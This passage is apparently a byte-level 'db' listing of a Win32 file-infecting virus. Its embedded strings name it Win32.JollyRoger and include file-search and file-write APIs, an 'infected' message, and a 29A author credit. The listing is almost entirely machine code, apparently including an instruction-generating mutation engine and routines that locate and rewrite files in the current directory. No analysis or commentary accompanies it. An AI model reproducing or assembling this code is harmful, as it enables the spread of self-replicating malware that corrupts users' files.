db 0c7h, 045h, 0fch, 001h, 000h, 000h, 000h, 0c7h, 045h, 0f8h, 008h, 000h, 000h,
000h
db 0e8h, 0e4h, 003h, 000h, 000h, 089h, 045h, 0c8h, 0c1h, 0e0h, 003h, 089h, 045h,
0c4h
db 0e8h, 0d1h, 003h, 000h, 000h, 089h, 045h, 0c0h, 0c1h, 0e0h, 003h, 089h, 045h,

0bch
db 08bh, 045h, 014h, 023h, 045h, 010h, 0a9h, 00fh, 000h, 000h, 000h, 074h, 013h,
0b8h
db 002h, 000h, 000h, 000h, 0e8h, 093h, 003h, 000h, 000h, 089h, 045h, 0fch, 0c1h,
0e0h
db 003h, 089h, 045h, 0f8h, 0b8h, 002h, 000h, 000h, 000h, 0e8h, 080h, 003h, 000h,
000h
db 089h, 045h, 0dch, 0d1h, 0e0h, 089h, 045h, 0d8h, 0c1h, 0e0h, 002h, 089h, 045h,
0d4h
db 0b8h, 004h, 000h, 000h, 000h, 0e8h, 068h, 003h, 000h, 000h, 0c1h, 0e0h, 003h,
089h
db 045h, 0d0h, 0e8h, 070h, 003h, 000h, 000h, 0c1h, 0e0h, 003h, 089h, 045h, 0cch,
0e8h
db 070h, 003h, 000h, 000h, 089h, 045h, 0f4h, 0c1h, 0e0h, 003h, 089h, 045h, 0e4h,
0e8h
db 062h, 003h, 000h, 000h, 089h, 045h, 0ech, 0e8h, 05fh, 003h, 000h, 000h, 089h,
045h
db 0f0h, 0c1h, 0e0h, 003h, 089h, 045h, 0e0h, 0e8h, 051h, 003h, 000h, 000h, 089h,
045h
db 0e8h, 0e8h, 04eh, 003h, 000h, 000h, 089h, 045h, 0b8h, 0c1h, 0e0h, 003h, 089h,
045h
db 0b4h, 0e8h, 040h, 003h, 000h, 000h, 089h, 045h, 0b0h, 0b8h, 01fh, 000h, 000h,
000h
db 0e8h, 00bh, 003h, 000h, 000h, 096h, 046h, 08bh, 055h, 00ch, 08bh, 045h, 0fch,
0d1h
db 0eah, 073h, 00eh, 04eh, 00fh, 084h, 027h, 001h, 000h, 000h, 04eh, 00fh, 084h,
02dh
db 001h, 000h, 000h, 0d1h, 0eah, 073h, 00eh, 04eh, 00fh, 084h, 02fh, 001h, 000h,
000h
db 04eh, 00fh, 084h, 036h, 001h, 000h, 000h, 0d1h, 0eah, 073h, 007h, 04eh, 00fh,
084h
db 032h, 001h, 000h, 000h, 0d1h, 0eah, 073h, 007h, 04eh, 00fh, 084h, 047h, 001h,
000h
db 000h, 0d1h, 0eah, 073h, 007h, 04eh, 00fh, 084h, 041h, 001h, 000h, 000h, 0d1h,
0eah
db 073h, 00eh, 04eh, 00fh, 084h, 044h, 001h, 000h, 000h, 04eh, 00fh, 084h, 045h,
001h
db 000h, 000h, 0d1h, 0eah, 073h, 00eh, 04eh, 00fh, 084h, 042h, 001h, 000h, 000h,
04eh
db 00fh, 084h, 04ch, 001h, 000h, 000h, 0d1h, 0eah, 073h, 00eh, 04eh, 00fh, 084h,
059h
db 001h, 000h, 000h, 04eh, 00fh, 084h, 05fh, 001h, 000h, 000h, 0d1h, 0eah, 073h,
007h
db 04eh, 00fh, 084h, 05eh, 001h, 000h, 000h, 0d1h, 0eah, 073h, 007h, 04eh, 00fh,
084h
db 060h, 001h, 000h, 000h, 0d1h, 0eah, 073h, 007h, 04eh, 00fh, 084h, 062h, 001h,
000h
db 000h, 0d1h, 0eah, 073h, 00eh, 04eh, 00fh, 084h, 065h, 001h, 000h, 000h, 04eh,
00fh
db 084h, 06eh, 001h, 000h, 000h, 0d1h, 0eah, 073h, 00eh, 04eh, 00fh, 084h, 070h,
001h
db 000h, 000h, 04eh, 00fh, 084h, 079h, 001h, 000h, 000h, 0d1h, 0eah, 073h, 00eh,
04eh
db 00fh, 084h, 07fh, 001h, 000h, 000h, 04eh, 00fh, 084h, 097h, 001h, 000h, 000h,
0d1h
db 0eah, 073h, 007h, 04eh, 00fh, 084h, 0a4h, 001h, 000h, 000h, 0d1h, 0eah, 073h,
007h
db 04eh, 00fh, 084h, 0a0h, 001h, 000h, 000h, 0d1h, 0eah, 073h, 007h, 04eh, 00fh,
084h
db 0a3h, 001h, 000h, 000h, 0d1h, 0eah, 073h, 00eh, 04eh, 00fh, 084h, 0a6h, 001h,
000h
db 000h, 04eh, 00fh, 084h, 0b0h, 001h, 000h, 000h, 0d1h, 0eah, 073h, 007h, 04eh,
00fh
db 084h, 0b0h, 001h, 000h, 000h, 0d1h, 0eah, 073h, 00eh, 04eh, 00fh, 084h, 0b7h,
001h
db 000h, 000h, 04eh, 00fh, 084h, 0b7h, 001h, 000h, 000h, 0d1h, 0eah, 073h, 007h,
04eh
db 00fh, 084h, 0b3h, 001h, 000h, 000h, 0e9h, 0bch, 0feh, 0ffh, 0ffh, 00ch, 088h,

0aah
db 0b0h, 0c0h, 00bh, 045h, 0e4h, 00bh, 045h, 0f0h, 0aah, 0c3h, 00ch, 08ah, 0aah,
0b0h
db 0c0h, 00bh, 045h, 0e0h, 00bh, 045h, 0f4h, 0aah, 0c3h, 0b0h, 0b0h, 00bh, 045h,
0f8h
db 00bh, 045h, 0f0h, 0aah, 0e9h, 08dh, 001h, 000h, 000h, 00ch, 0c6h, 0aah, 0b0h,
0c0h
db 0ebh, 0f0h, 0b0h, 00fh, 0aah, 0b0h, 0b6h, 00bh, 045h, 0fch, 00bh, 045h, 0d4h,
0aah
db 0b0h, 0c0h, 00bh, 045h, 0c4h, 0ebh, 0d3h, 00ch, 086h, 0aah, 0b0h, 0c0h, 00bh,
045h
db 0e0h, 00bh, 045h, 0e8h, 0aah, 0c3h, 00ch, 086h, 0aah, 0ebh, 0f1h, 0b0h, 08dh,
0aah
db 0b0h, 005h, 00bh, 045h, 0c4h, 0aah, 0e9h, 059h, 001h, 000h, 000h, 00ch, 000h,
00bh
db 045h, 0cch, 0aah, 0ebh, 099h, 00ch, 002h, 00bh, 045h, 0cch, 0aah, 0ebh, 09eh,
00ch
db 080h, 0aah, 0b0h, 0c0h, 00bh, 045h, 0cch, 00bh, 045h, 0f0h, 0aah, 0e9h, 032h,
001h
db 000h, 000h, 0f7h, 045h, 014h, 001h, 000h, 000h, 000h, 00fh, 084h, 02ch, 0feh,
0ffh
db 0ffh, 00ch, 004h, 00bh, 045h, 0cch, 0aah, 0e9h, 01ah, 001h, 000h, 000h, 00ch,
0feh
db 0aah, 0b0h, 0c0h, 00bh, 045h, 0d4h, 0e9h, 060h, 0ffh, 0ffh, 0ffh, 0b0h, 040h,
00bh
db 045h, 0d4h, 00bh, 045h, 0c8h, 0aah, 0c3h, 00ch, 0f6h, 0aah, 0b0h, 0d0h, 00bh,
045h
db 0d4h, 0e9h, 049h, 0ffh, 0ffh, 0ffh, 00ch, 084h, 0aah, 0b0h, 0c0h, 00bh, 045h,
0b4h
db 00bh, 045h, 0b0h, 0aah, 0c3h, 00ch, 0f6h, 0aah, 0b0h, 0c0h, 00bh, 045h, 0b8h,
0aah
db 0e9h, 0dbh, 000h, 000h, 000h, 0b0h, 00fh, 0aah, 0b0h, 0afh, 0aah, 0b0h, 0c0h,
00bh
db 045h, 0c4h, 00bh, 045h, 0c0h, 0aah, 0c3h, 0b0h, 069h, 0aah, 0e8h, 0eeh, 0ffh,
0ffh
db 0ffh, 0e9h, 0c4h, 000h, 000h, 000h, 00ch, 0d0h, 00bh, 045h, 0d8h, 0aah, 0b0h,
0c0h
db 00bh, 045h, 0cch, 00bh, 045h, 0f0h, 0aah, 0c3h, 00ch, 0c0h, 0aah, 0b0h, 0c0h,
00bh
db 045h, 0cch, 00bh, 045h, 0f0h, 0aah, 0e9h, 0adh, 000h, 000h, 000h, 0b0h, 00fh,
0aah
db 0b0h, 0a4h, 00bh, 045h, 0d4h, 0aah, 0b0h, 0c0h, 0e8h, 005h, 000h, 000h, 000h,
0e9h
db 098h, 000h, 000h, 000h, 0b0h, 0c0h, 00bh, 045h, 0bch, 00bh, 045h, 0c8h, 0aah,
0c3h
db 0f7h, 045h, 010h, 002h, 000h, 000h, 000h, 00fh, 084h, 078h, 0fdh, 0ffh, 0ffh,
0b0h
db 00fh, 0aah, 0b0h, 0a5h, 00bh, 045h, 0d4h, 0aah, 0ebh, 0deh, 0b0h, 00fh, 0aah,
0b0h
db 0c8h, 0ebh, 0dch, 0b0h, 00fh, 0aah, 0b0h, 0c0h, 00bh, 045h, 0fch, 0aah, 0e9h,
0e1h
db 0feh, 0ffh, 0ffh, 0b0h, 00fh, 0aah, 0b0h, 0bch, 00bh, 045h, 0dch, 0aah, 0e9h,
06eh
db 0ffh, 0ffh, 0ffh, 0b0h, 00fh, 0aah, 0b0h, 0bah, 0aah, 0b0h, 0e0h, 00bh, 045h,
0d0h
db 00bh, 045h, 0c8h, 0aah, 0ebh, 042h, 0b0h, 00fh, 0aah, 0b0h, 0a3h, 00bh, 045h,
0d0h
db 0aah, 0ebh, 09fh, 066h, 0b8h, 0ebh, 001h, 066h, 0abh, 0b8h, 000h, 001h, 000h,
000h
db 0e8h, 033h, 000h, 000h, 000h, 0aah, 0c3h, 0b0h, 026h, 00bh, 045h, 0d0h, 0aah,
0c3h
db 0b0h, 064h, 00bh, 045h, 0dch, 0aah, 0c3h, 0b0h, 0f2h, 00bh, 045h, 0dch, 0aah,
0c3h
db 083h, 07dh, 0fch, 000h, 074h, 00ah, 0e8h, 000h, 000h, 000h, 000h, 0e8h, 000h,
000h
db 000h, 000h, 0b8h, 000h, 001h, 000h, 000h, 0e8h, 002h, 000h, 000h, 000h, 0aah,
0c3h
db 060h, 050h, 0ffh, 075h, 008h, 0ffh, 055h, 028h, 083h, 0c4h, 008h, 089h, 044h,

024h
db 01ch, 061h, 00bh, 0c0h, 0c3h, 0b8h, 008h, 000h, 000h, 000h, 0e8h, 0e3h, 0ffh,
0ffh
db 0ffh, 0c3h, 08bh, 055h, 010h, 0ebh, 00dh, 08bh, 055h, 014h, 0ebh, 008h, 08bh,
055h
db 010h, 00bh, 055h, 014h, 0ebh, 000h, 0e8h, 0deh, 0ffh, 0ffh, 0ffh, 08bh, 0c8h,
083h
db 07dh, 0fch, 000h, 075h, 003h, 083h, 0e1h, 003h, 00fh, 0a3h, 0cah, 073h, 0ebh,
0c3h
db 072h, 02bh, 062h, 000h, 046h, 069h, 06eh, 064h, 043h, 06ch, 06fh, 073h, 065h,
000h
db 000h, 000h, 046h, 069h, 06eh, 064h, 04eh, 065h, 078h, 074h, 046h, 069h, 06ch,
065h
db 041h, 000h, 000h, 000h, 046h, 069h, 06eh, 064h, 046h, 069h, 072h, 073h, 074h,
046h
db 069h, 06ch, 065h, 041h, 000h, 000h, 06bh, 065h, 072h, 06eh, 065h, 06ch, 033h,
032h
db 02eh, 064h, 06ch, 06ch, 000h, 000h, 000h, 000h, 047h, 065h, 074h, 043h, 075h,
072h
db 072h, 065h, 06eh, 074h, 044h, 069h, 072h, 065h, 063h, 074h, 06fh, 072h, 079h,
041h
db 000h, 000h, 000h, 000h, 073h, 072h, 061h, 06eh, 064h, 000h, 000h, 000h, 072h,
061h
db 06eh, 064h, 000h, 000h, 000h, 000h, 048h, 065h, 061h, 070h, 044h, 065h, 073h,
074h
db 072h, 06fh, 079h, 000h, 048h, 065h, 061h, 070h, 041h, 06ch, 06ch, 06fh, 063h,
000h
db 000h, 000h, 048h, 065h, 061h, 070h, 043h, 072h, 065h, 061h, 074h, 065h, 000h,
000h
db 048h, 065h, 061h, 070h, 046h, 072h, 065h, 065h, 000h, 000h, 000h, 000h, 071h,
073h
db 06fh, 072h, 074h, 000h, 000h, 000h, 066h, 072h, 065h, 065h, 000h, 000h, 000h,
000h
db 063h, 061h, 06ch, 06ch, 06fh, 063h, 000h, 000h, 066h, 074h, 065h, 06ch, 06ch,
000h
db 000h, 000h, 066h, 073h, 065h, 065h, 06bh, 000h, 000h, 000h, 066h, 077h, 072h,
069h
db 074h, 065h, 000h, 000h, 066h, 072h, 065h, 061h, 064h, 000h, 000h, 000h, 066h,
063h
db 06ch, 06fh, 073h, 065h, 000h, 000h, 066h, 06fh, 070h, 065h, 06eh, 000h, 000h,
000h
db 047h, 065h, 074h, 054h, 069h, 063h, 06bh, 043h, 06fh, 075h, 06eh, 074h, 000h,
000h
db 000h, 000h, 046h, 072h, 065h, 065h, 04ch, 069h, 062h, 072h, 061h, 072h, 079h,
000h
db 06dh, 073h, 076h, 063h, 072h, 074h, 02eh, 064h, 06ch, 06ch, 000h, 000h, 054h,
068h
db 069h, 073h, 020h, 066h, 069h, 06ch, 065h, 020h, 069h, 073h, 020h, 069h, 06eh,
066h
db 065h, 063h, 074h, 065h, 064h, 020h, 077h, 069h, 074h, 068h, 020h, 057h, 069h,
06eh
db 033h, 032h, 02eh, 04ah, 06fh, 06ch, 06ch, 079h, 052h, 06fh, 067h, 065h, 072h,
00ah
db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h, 061h, 039h, 032h,
02fh
db 05ah, 065h, 06ch, 06ch, 061h, 056h, 020h, 079h, 042h, 020h, 064h, 045h, 064h,
06fh
db 043h, 000h, 000h, 000h, 057h, 069h, 06eh, 033h, 032h, 02eh, 04ah, 06fh, 06ch,
06ch
db 079h, 052h, 06fh, 067h, 065h, 072h, 000h, 000h, 000h, 000h, 04dh, 065h, 073h,
073h
db 061h, 067h, 065h, 042h, 06fh, 078h, 041h, 000h, 075h, 073h, 065h, 072h, 033h,
032h
db 02eh, 064h, 06ch, 06ch, 000h, 000h, 055h, 08bh, 0ech, 083h, 0ech, 040h, 053h,
056h
db 057h, 06ah, 014h, 058h, 033h, 0f6h, 089h, 045h, 0ech, 089h, 045h, 0f8h, 08bh,
045h
db 00ch, 089h, 075h, 0f4h, 03dh, 0a5h, 000h, 000h, 000h, 089h, 075h, 0e8h, 08dh,

0b8h
db 05bh, 0ffh, 0ffh, 0ffh, 00fh, 082h, 05eh, 002h, 000h, 000h, 03bh, 0feh, 074h,
050h
db 08dh, 047h, 0ffh, 050h, 056h, 0e8h, 0b8h, 032h, 000h, 000h, 059h, 02bh, 0f8h,
059h
db 089h, 045h, 0f4h, 074h, 03dh, 08dh, 047h, 0ffh, 050h, 056h, 0e8h, 0a5h, 032h,
000h
db 000h, 059h, 02bh, 0f8h, 059h, 089h, 045h, 0e8h, 074h, 02ah, 08dh, 047h, 0ffh,
050h
db 056h, 0e8h, 092h, 032h, 000h, 000h, 02bh, 0f8h, 059h, 08dh, 040h, 014h, 059h,
089h
db 045h, 0ech, 074h, 014h, 08dh, 047h, 0ffh, 050h, 056h, 0e8h, 07ch, 032h, 000h,
000h
db 02bh, 0f8h, 059h, 083h, 0c0h, 014h, 059h, 089h, 045h, 0f8h, 083h, 0c7h, 078h,
06ah
db 007h, 056h, 089h, 07dh, 0f0h, 0e8h, 0b2h, 032h, 000h, 000h, 059h, 089h, 045h,
00ch
db 059h, 06ah, 004h, 05fh, 03bh, 0c7h, 075h, 00fh, 06ah, 007h, 056h, 0e8h, 09eh,
032h
db 000h, 000h, 059h, 089h, 045h, 00ch, 059h, 0ebh, 0edh, 06ah, 007h, 056h, 0e8h,
08fh
db 032h, 000h, 000h, 03bh, 045h, 00ch, 059h, 059h, 089h, 045h, 0fch, 074h, 0eeh,
03bh
db 0c7h, 074h, 0eah, 050h, 0e8h, 08ch, 01ch, 000h, 000h, 0ffh, 075h, 00ch, 08bh,
0d8h
db 0e8h, 082h, 01ch, 000h, 000h, 057h, 00bh, 0d8h, 0e8h, 07ah, 01ch, 000h, 000h,
0ffh
db 075h, 0f4h, 08bh, 07dh, 008h, 00bh, 0d8h, 057h, 053h, 0ffh, 075h, 0fch, 0ffh,
075h
db 00ch, 056h, 06ah, 007h, 0e8h, 0fch, 00bh, 000h, 000h, 08bh, 04dh, 0e8h, 08bh,
0f0h
db 08bh, 045h, 0ech, 0c6h, 004h, 03eh, 0e8h, 083h, 064h, 03eh, 001h, 000h, 046h,
003h
db 0c1h, 083h, 0c6h, 004h, 050h, 08dh, 004h, 03eh, 050h, 053h, 0ffh, 075h, 0fch,
0ffh
db 075h, 00ch, 06ah, 000h, 06ah, 00ah, 0e8h, 0d0h, 00bh, 000h, 000h, 08bh, 04dh,
0f8h
db 003h, 0f0h, 083h, 0c4h, 044h, 089h, 04dh, 008h, 08dh, 014h, 03eh, 051h, 052h,
08bh
db 055h, 0f0h, 053h, 003h, 0d1h, 003h, 0d0h, 052h, 0ffh, 075h, 00ch, 06ah, 003h,
06ah
db 001h, 0e8h, 0abh, 00bh, 000h, 000h, 083h, 0c4h, 01ch, 003h, 0f0h, 03bh, 045h,
008h
db 089h, 045h, 0f8h, 074h, 052h, 089h, 045h, 0f4h, 073h, 04dh, 08bh, 04dh, 008h,
08dh
db 004h, 03eh, 02bh, 04dh, 0f4h, 051h, 050h, 053h, 0ffh, 075h, 0fch, 0ffh, 075h,
00ch
db 06ah, 000h, 06ah, 007h, 0e8h, 07eh, 00bh, 000h, 000h, 083h, 0c4h, 01ch, 085h,
0c0h
db 074h, 017h, 08bh, 04dh, 0f4h, 08bh, 055h, 0f8h, 08dh, 074h, 006h, 0ffh, 08dh,
04ch
db 001h, 0ffh, 08dh, 044h, 002h, 0ffh, 089h, 045h, 0f8h, 0ebh, 007h, 08bh, 04dh,
0f4h
db 0c6h, 004h, 03eh, 090h, 041h, 046h, 0ffh, 045h, 0f8h, 03bh, 04dh, 008h, 089h,
04dh
db 0f4h, 072h, 0b3h, 06ah, 014h, 058h, 089h, 045h, 008h, 089h, 045h, 0e8h, 08bh,
045h
db 0f0h, 083h, 0c0h, 088h, 085h, 0c0h, 089h, 045h, 0ech, 074h, 029h, 048h, 050h,
06ah
db 000h, 0e8h, 034h, 031h, 000h, 000h, 059h, 059h, 08bh, 04dh, 0ech, 02bh, 0c8h,
08dh
db 040h, 014h, 089h, 045h, 008h, 074h, 011h, 049h, 051h, 06ah, 000h, 0e8h, 01ch,
031h
db 000h, 000h, 059h, 083h, 0c0h, 014h, 059h, 089h, 045h, 0e8h, 08bh, 04dh, 00ch,
08bh
db 045h, 008h, 089h, 04dh, 0cch, 08bh, 04dh, 014h, 089h, 04dh, 0d0h, 089h, 045h,
0d8h
db 08dh, 04dh, 0c0h, 033h, 0c0h, 051h, 050h, 089h, 05dh, 0d4h, 089h, 045h, 0c0h,

0c7h
db 045h, 0c4h, 002h, 000h, 000h, 000h, 0c7h, 045h, 0c8h, 004h, 000h, 000h, 000h,
089h
db 045h, 0e0h, 089h, 045h, 0dch, 089h, 045h, 0e4h, 0e8h, 0a4h, 01ah, 000h, 000h,
089h
db 045h, 014h, 08bh, 045h, 0e8h, 089h, 045h, 0d8h, 08bh, 04dh, 00ch, 033h, 0c0h,
089h
db 05dh, 0d4h, 089h, 045h, 0c0h, 089h, 045h, 0e0h, 089h, 045h, 0dch, 089h, 045h,
0e4h
db 08dh, 045h, 0c0h, 089h, 04dh, 0cch, 050h, 0c7h, 045h, 0d0h, 004h, 000h, 000h,
000h
db 0ffh, 075h, 014h, 0c7h, 045h, 0c4h, 001h, 000h, 000h, 000h, 0c7h, 045h, 0c8h,
003h
db 000h, 000h, 000h, 0e8h, 063h, 01ah, 000h, 000h, 08dh, 004h, 03eh, 050h, 08bh,
045h
db 010h, 083h, 0c0h, 003h, 053h, 0c1h, 0e8h, 002h, 050h, 06ah, 003h, 0ffh, 075h,
0fch
db 0ffh, 075h, 014h, 0e8h, 0dah, 018h, 000h, 000h, 0ffh, 075h, 014h, 089h, 045h,
008h
db 0e8h, 0b7h, 01ah, 000h, 000h, 083h, 0c4h, 02ch, 083h, 07dh, 008h, 000h, 075h,
004h
db 033h, 0c0h, 0ebh, 075h, 08bh, 045h, 0f0h, 003h, 075h, 008h, 02bh, 045h, 008h,
074h
db 068h, 089h, 045h, 008h, 050h, 08dh, 004h, 03eh, 050h, 053h, 0ffh, 075h, 0fch,
0ffh
db 075h, 00ch, 06ah, 000h, 06ah, 007h, 0e8h, 03ah, 00ah, 000h, 000h, 029h, 045h,
008h
db 083h, 065h, 014h, 000h, 083h, 0c4h, 01ch, 003h, 0f0h, 083h, 07dh, 008h, 000h,
076h
db 03eh, 08bh, 04dh, 008h, 08dh, 004h, 03eh, 02bh, 04dh, 014h, 051h, 050h, 053h,
0ffh
db 075h, 0fch, 0ffh, 075h, 00ch, 06ah, 000h, 06ah, 007h, 0e8h, 00dh, 00ah, 000h,
000h
db 083h, 0c4h, 01ch, 085h, 0c0h, 074h, 00bh, 08bh, 04dh, 014h, 003h, 0f0h, 08dh,
044h
db 001h, 0ffh, 0ebh, 008h, 08bh, 045h, 014h, 0c6h, 004h, 03eh, 090h, 046h, 040h,
03bh
db 045h, 008h, 089h, 045h, 014h, 072h, 0c2h, 08bh, 0c6h, 05fh, 05eh, 05bh, 0c9h,
0c3h
db 055h, 08bh, 0ech, 051h, 053h, 056h, 057h, 068h, 000h, 028h, 000h, 000h, 068h,
000h
db 004h, 000h, 000h, 0e8h, 022h, 030h, 000h, 000h, 08bh, 04dh, 00ch, 089h, 045h,
0fch
db 08dh, 05ch, 008h, 018h, 053h, 06ah, 001h, 0ffh, 015h, 008h, 04dh, 000h, 000h,
08bh
db 0f0h, 083h, 0c4h, 010h, 085h, 0f6h, 074h, 04bh, 085h, 0dbh, 076h, 017h, 08bh,
0cbh
db 0b8h, 090h, 090h, 090h, 090h, 08bh, 0d1h, 08bh, 0feh, 0c1h, 0e9h, 002h, 0f3h,
0abh
db 08bh, 0cah, 083h, 0e1h, 003h, 0f3h, 0aah, 08bh, 045h, 010h, 068h, 0feh, 0ffh,
0feh
db 0ffh, 06ah, 000h, 089h, 018h, 0e8h, 08ch, 02fh, 000h, 000h, 050h, 089h, 045h,
010h
db 0ffh, 075h, 00ch, 0ffh, 075h, 0fch, 056h, 0e8h, 088h, 0fch, 0ffh, 0ffh, 083h,
0c4h
db 018h, 085h, 0c0h, 075h, 00ch, 056h, 0ffh, 015h, 00ch, 04dh, 000h, 000h, 059h,
033h
db 0c0h, 0ebh, 04bh, 06ah, 004h, 033h, 0c9h, 05ah, 039h, 055h, 00ch, 072h, 01bh,
08bh
db 07dh, 008h, 083h, 0c2h, 004h, 08bh, 05ch, 017h, 0f8h, 08dh, 03ch, 030h, 003h,
05dh
db 010h, 089h, 01ch, 00fh, 083h, 0c1h, 004h, 03bh, 055h, 00ch, 076h, 0e5h, 03bh,
04dh
db 00ch, 073h, 01fh, 08bh, 0d1h, 08dh, 03ch, 030h, 08bh, 05dh, 008h, 08ah, 01ch,
019h
db 088h, 01ch, 00fh, 041h, 03bh, 04dh, 00ch, 072h, 0f1h, 08bh, 04dh, 010h, 003h,
0d0h
db 001h, 00ch, 032h, 08dh, 004h, 032h, 08bh, 0c6h, 05fh, 05eh, 05bh, 0c9h, 0c3h,

055h
db 08bh, 0ech, 051h, 053h, 056h, 057h, 060h, 08bh, 045h, 008h, 08ah, 04dh, 00ch,
0d3h
db 0c8h, 089h, 045h, 0fch, 061h, 08bh, 045h, 0fch, 05fh, 05eh, 05bh, 0c9h, 0c3h,
055h
db 08bh, 0ech, 083h, 0ech, 040h, 053h, 056h, 057h, 06ah, 014h, 058h, 033h, 0f6h,
089h
db 045h, 0ech, 089h, 045h, 0f8h, 08bh, 045h, 00ch, 089h, 075h, 0f4h, 03dh, 0a5h,
000h
db 000h, 000h, 089h, 075h, 0e8h, 08dh, 0b8h, 05bh, 0ffh, 0ffh, 0ffh, 00fh, 082h,
064h
db 002h, 000h, 000h, 03bh, 0feh, 074h, 050h, 08dh, 047h, 0ffh, 050h, 056h, 0e8h,
0c1h
db 02eh, 000h, 000h, 059h, 02bh, 0f8h, 059h, 089h, 045h, 0f4h, 074h, 03dh, 08dh,
047h
db 0ffh, 050h, 056h, 0e8h, 0aeh, 02eh, 000h, 000h, 059h, 02bh, 0f8h, 059h, 089h,
045h
db 0e8h, 074h, 02ah, 08dh, 047h, 0ffh, 050h, 056h, 0e8h, 09bh, 02eh, 000h, 000h,
02bh
db 0f8h, 059h, 08dh, 040h, 014h, 059h, 089h, 045h, 0ech, 074h, 014h, 08dh, 047h,
0ffh
db 050h, 056h, 0e8h, 085h, 02eh, 000h, 000h, 02bh, 0f8h, 059h, 083h, 0c0h, 014h,
059h
db 089h, 045h, 0f8h, 083h, 0c7h, 078h, 06ah, 007h, 056h, 089h, 07dh, 0f0h, 0e8h,
0bbh
db 02eh, 000h, 000h, 059h, 089h, 045h, 00ch, 059h, 06ah, 004h, 05fh, 03bh, 0c7h,
075h
db 00fh, 06ah, 007h, 056h, 0e8h, 0a7h, 02eh, 000h, 000h, 059h, 089h, 045h, 00ch,
059h
db 0ebh, 0edh, 06ah, 007h, 056h, 0e8h, 098h, 02eh, 000h, 000h, 03bh, 045h, 00ch,
059h
db 059h, 089h, 045h, 0fch, 074h, 0eeh, 03bh, 0c7h, 074h, 0eah, 050h, 0e8h, 095h,
018h
db 000h, 000h, 0ffh, 075h, 00ch, 08bh, 0d8h, 0e8h, 08bh, 018h, 000h, 000h, 057h,
00bh
db 0d8h, 0e8h, 083h, 018h, 000h, 000h, 0ffh, 075h, 0f4h, 08bh, 07dh, 008h, 00bh,
0d8h
db 057h, 053h, 0ffh, 075h, 0fch, 0ffh, 075h, 00ch, 056h, 06ah, 007h, 0e8h, 005h,
008h
db 000h, 000h, 08bh, 04dh, 0e8h, 08bh, 0f0h, 08bh, 045h, 0ech, 0c6h, 004h, 03eh,
0e8h
db 083h, 064h, 03eh, 001h, 000h, 046h, 003h, 0c1h, 083h, 0c6h, 004h, 050h, 08dh,
004h
db 03eh, 050h, 053h, 0ffh, 075h, 0fch, 0ffh, 075h, 00ch, 06ah, 000h, 06ah, 00ah,
0e8h
db 0d9h, 007h, 000h, 000h, 08bh, 04dh, 0f8h, 003h, 0f0h, 083h, 0c4h, 044h, 089h,
04dh
db 008h, 08dh, 014h, 03eh, 051h, 052h, 08bh, 055h, 0f0h, 053h, 003h, 0d1h, 003h,
0d0h
db 052h, 0ffh, 075h, 00ch, 06ah, 003h, 06ah, 001h, 0e8h, 0b4h, 007h, 000h, 000h,
083h
db 0c4h, 01ch, 003h, 0f0h, 03bh, 045h, 008h, 089h, 045h, 0f8h, 074h, 052h, 089h,
045h
db 0f4h, 073h, 04dh, 08bh, 04dh, 008h, 08dh, 004h, 03eh, 02bh, 04dh, 0f4h, 051h,
050h
db 053h, 0ffh, 075h, 0fch, 0ffh, 075h, 00ch, 06ah, 000h, 06ah, 007h, 0e8h, 087h,
007h
db 000h, 000h, 083h, 0c4h, 01ch, 085h, 0c0h, 074h, 017h, 08bh, 04dh, 0f4h, 08bh,
055h
db 0f8h, 08dh, 074h, 006h, 0ffh, 08dh, 04ch, 001h, 0ffh, 08dh, 044h, 002h, 0ffh,
089h
db 045h, 0f8h, 0ebh, 007h, 08bh, 04dh, 0f4h, 0c6h, 004h, 03eh, 090h, 041h, 046h,
0ffh
db 045h, 0f8h, 03bh, 04dh, 008h, 089h, 04dh, 0f4h, 072h, 0b3h, 06ah, 014h, 058h,
089h
db 045h, 008h, 089h, 045h, 0e8h, 08bh, 045h, 0f0h, 083h, 0c0h, 088h, 085h, 0c0h,
089h
db 045h, 0ech, 074h, 029h, 048h, 050h, 06ah, 000h, 0e8h, 03dh, 02dh, 000h, 000h,

059h
db 059h, 08bh, 04dh, 0ech, 02bh, 0c8h, 08dh, 040h, 014h, 089h, 045h, 008h, 074h,
011h
db 049h, 051h, 06ah, 000h, 0e8h, 025h, 02dh, 000h, 000h, 059h, 083h, 0c0h, 014h,
059h
db 089h, 045h, 0e8h, 08bh, 04dh, 00ch, 08bh, 045h, 008h, 089h, 04dh, 0cch, 08bh,
04dh
db 014h, 081h, 0e1h, 0ffh, 000h, 000h, 000h, 089h, 045h, 0d8h, 089h, 04dh, 0d0h,
08dh
db 04dh, 0c0h, 033h, 0c0h, 051h, 050h, 089h, 05dh, 0d4h, 089h, 045h, 0c0h, 0c7h,
045h
db 0c4h, 00bh, 000h, 000h, 000h, 0c7h, 045h, 0c8h, 004h, 000h, 000h, 000h, 089h,
045h
db 0e0h, 089h, 045h, 0dch, 089h, 045h, 0e4h, 0e8h, 0a7h, 016h, 000h, 000h, 089h,
045h
db 014h, 08bh, 045h, 0e8h, 089h, 045h, 0d8h, 08bh, 04dh, 00ch, 033h, 0c0h, 089h,
05dh
db 0d4h, 089h, 045h, 0c0h, 089h, 045h, 0e0h, 089h, 045h, 0dch, 089h, 045h, 0e4h,
08dh
db 045h, 0c0h, 089h, 04dh, 0cch, 050h, 0c7h, 045h, 0d0h, 004h, 000h, 000h, 000h,
0ffh
db 075h, 014h, 0c7h, 045h, 0c4h, 001h, 000h, 000h, 000h, 0c7h, 045h, 0c8h, 003h,
000h
db 000h, 000h, 0e8h, 066h, 016h, 000h, 000h, 08dh, 004h, 03eh, 050h, 08bh, 045h,
010h
db 083h, 0c0h, 003h, 053h, 0c1h, 0e8h, 002h, 050h, 06ah, 003h, 0ffh, 075h, 0fch,
0ffh
db 075h, 014h, 0e8h, 0ddh, 014h, 000h, 000h, 0ffh, 075h, 014h, 089h, 045h, 008h,
0e8h
db 0bah, 016h, 000h, 000h, 083h, 0c4h, 02ch, 083h, 07dh, 008h, 000h, 075h, 004h,
033h
db 0c0h, 0ebh, 075h, 08bh, 045h, 0f0h, 003h, 075h, 008h, 02bh, 045h, 008h, 074h,
068h
db 089h, 045h, 008h, 050h, 08dh, 004h, 03eh, 050h, 053h, 0ffh, 075h, 0fch, 0ffh,
075h
db 00ch, 06ah, 000h, 06ah, 007h, 0e8h, 03dh, 006h, 000h, 000h, 029h, 045h, 008h,
083h
db 065h, 014h, 000h, 083h, 0c4h, 01ch, 003h, 0f0h, 083h, 07dh, 008h, 000h, 076h,
03eh
